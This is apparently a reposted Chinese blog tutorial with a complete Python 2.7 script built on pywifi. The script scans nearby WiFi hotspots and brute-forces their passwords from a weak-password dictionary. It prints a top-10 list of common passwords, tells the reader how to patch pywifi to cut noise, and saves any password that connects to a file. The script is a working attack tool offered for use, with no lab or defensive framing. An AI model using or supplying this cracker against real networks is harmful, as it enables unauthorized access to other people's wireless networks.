轉自知乎-wifi破解

上點python有意思的代碼。python

環境準備

  • python2.7
  • pywifi模塊
  • 字典
  • 清除系統中的任何wifi鏈接記錄

導入模塊

這裏用的模塊就這三個 pywifi的_wifiutil_linux.py腳本的 _send_cmd_to_wpas方法中的if reply != b'OK\n':判斷須要修改,否則會有不少的提示信息。linux

from pywifi import *
import time
import sys

字典準備

隨機搞的wifi弱口令TOP10git

  1. 12345678
  2. 123456789
  3. 88888888
  4. 1234567890
  5. 00000000
  6. 87654321
  7. 66668888
  8. 11223344
  9. 147258369
  10. 11111111

配置掃描器

推薦掃描時常能夠設置在15-20秒之間 測試時常則能夠自定義,考慮到認證速度於距離的關係,我通常設置在15左右,再久的也沒意義 到時候就算破解成功的熱點,信號也好不到哪裏github


def main(): #掃描時常 scantimes = 3 #單個密碼測試延遲 testtimes = 15 output = sys.stdout #結果文件保存路徑 files = "TestRes.txt" #字典列表 keys = open(sys.argv[1],"r").readlines() print "|KEYS %s"%(len(keys)) #實例化一個pywifi對象 wifi = PyWiFi() #選擇定一個網卡並賦值於iface iface = wifi.interfaces()[0] #經過iface進行一個時常爲scantimes的掃描並獲取附近的熱點基礎配置 scanres = scans(iface,scantimes) #統計附近被發現的熱點數量 nums = len(scanres) print "|SCAN GET %s"%(nums) print "%s\n%-*s| %-*s| %-*s| %-*s | %-*s | %-*s %*s \n%s"%("-"*70,6,"WIFIID",18,"SSID OR BSSID",2,"N",4,"time",7,"signal",10,"KEYNUM",10,"KEY","="*70) #將每個熱點信息逐一進行測試 for i,x in enumerate(scanres): #測試完畢後,成功的結果講存儲到files中 res = test(nums-i,iface,x,keys,output,testtimes) if res: open(files,"a").write(res) 

掃描周圍熱點

def scans(face,timeout): #開始掃描 face.scan() time.sleep(timeout) #在若干秒後獲取掃描結果 return face.scan_results() 

熱點測試

這裏後續推薦將掃描過程數據入庫,防止重複掃描,且更加直觀。網絡

def test(i,face,x,key,stu,ts): #顯示對應網絡名稱,考慮到部分中文名嘖顯示bssid showID = x.bssid if len(x.ssid)>len(x.bssid) else x.ssid #迭代字典並進行爆破 for n,k in enumerate(key): x.key = k.strip() #移除全部熱點配置 face.remove_all_network_profiles() #講封裝好的目標嘗試鏈接 face.connect(face.add_network_profile(x)) #初始化狀態碼,考慮到用0會發生些邏輯錯誤 code = 10 t1 = time.time() #循環刷新狀態,若是置爲0則密碼錯誤,如超時則進行下一個 while code!=0 : time.sleep(0.1) code = face.status() now = time.time()-t1 if now>ts: break stu.write("\r%-*s| %-*s| %s |%*.2fs| %-*s | %-*s %*s"%(6,i,18,showID,code,5,now,7,x.signal,10,len(key)-n,10,k.replace("\n",""))) stu.flush() if code == 4: face.disconnect() return "%-*s| %s | %*s |%*s\n"%(20,x.ssid,x.bssid,3,x.signal,15,k) return False 

案例

這裏顯示本次測試使用了11個弱口令,並掃描到了20個熱點,而後開始坑爹的跑起來了python2.7

  • WIFIID 熱點的id號 每跑一個會減1
  • SSID OR BSSID 熱點的ssid名或mac地址
  • N 對熱點的鏈接狀態,這個在
  • time 當前所花去的時間
  • signal 熱點的信號強度,若小越好
  • KEYNUM 測試密碼的id 每跑一個會減1
  • KEY 當前測試的密碼
相關文章
相關標籤/搜索